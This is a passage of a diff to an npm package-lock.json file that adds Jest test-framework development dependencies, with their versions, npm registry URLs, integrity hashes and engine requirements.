"node_modules/jest-circus/node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-circus/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-cli": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-27.5.1.tgz", + "integrity": "sha512-Hc6HOOwYq4/74/c62dEE3r5elx8wjYqxY0r0G/nFrLDPMFRu6RA/u8qINOIkvhxG7mMQ5EJsOGfRpI8L6eFUVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/core": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "import-local": "^3.0.2", + "jest-config": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "prompts": "^2.0.1", + "yargs": "^16.2.0" + }, + "bin": { + "jest": "bin/jest.js" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/jest-cli/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-cli/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-cli/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-cli/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-cli/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-cli/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-config": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-27.5.1.tgz", + "integrity": "sha512-5sAsjm6tGdsVbW9ahcChPAFCk4IlkQUknH5AvKjuLTSlcO/wCZKyFdn7Rg0EkC+OGgWODEy2hDpWB1PgzH0JNA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.8.0", + "@jest/test-sequencer": "^27.5.1", + "@jest/types": "^27.5.1", + "babel-jest": "^27.5.1", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.1", + "graceful-fs": "^4.2.9", + "jest-circus": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-jasmine2": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runner": "^27.5.1", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "ts-node": { + "optional": true + } + } + }, + "node_modules/jest-config/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-config/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-config/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-config/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-config/node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-config/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-config/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-diff": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.3.0.tgz", + "integrity": "sha512-n3q4PDQjS4LrKxfWB3Z5KNk1XjXtZTBwQp71OP0Jo03Z6V60x++K5L8k6ZrW8MY8pOFylZvHM0zsjS1RqlHJZQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/diff-sequences": "30.3.0", + "@jest/get-type": "30.1.0", + "chalk": "^4.1.2", + "pretty-format": "30.3.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/pretty-format": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", + "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-diff/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/jest-docblock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-27.5.1.tgz", + "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "detect-newline": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-27.5.1.tgz", + "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-each/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-each/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-each/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-environment-jsdom": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz", + "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1", + "jsdom": "^16.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-jsdom/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-jsdom/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-environment-jsdom/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-environment-jsdom/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-environment-jsdom/node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-jsdom/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-jsdom/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-environment-node": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz", + "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-environment-node/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-environment-node/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-environment-node/node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-get-type": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz", + "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz", + "integrity": 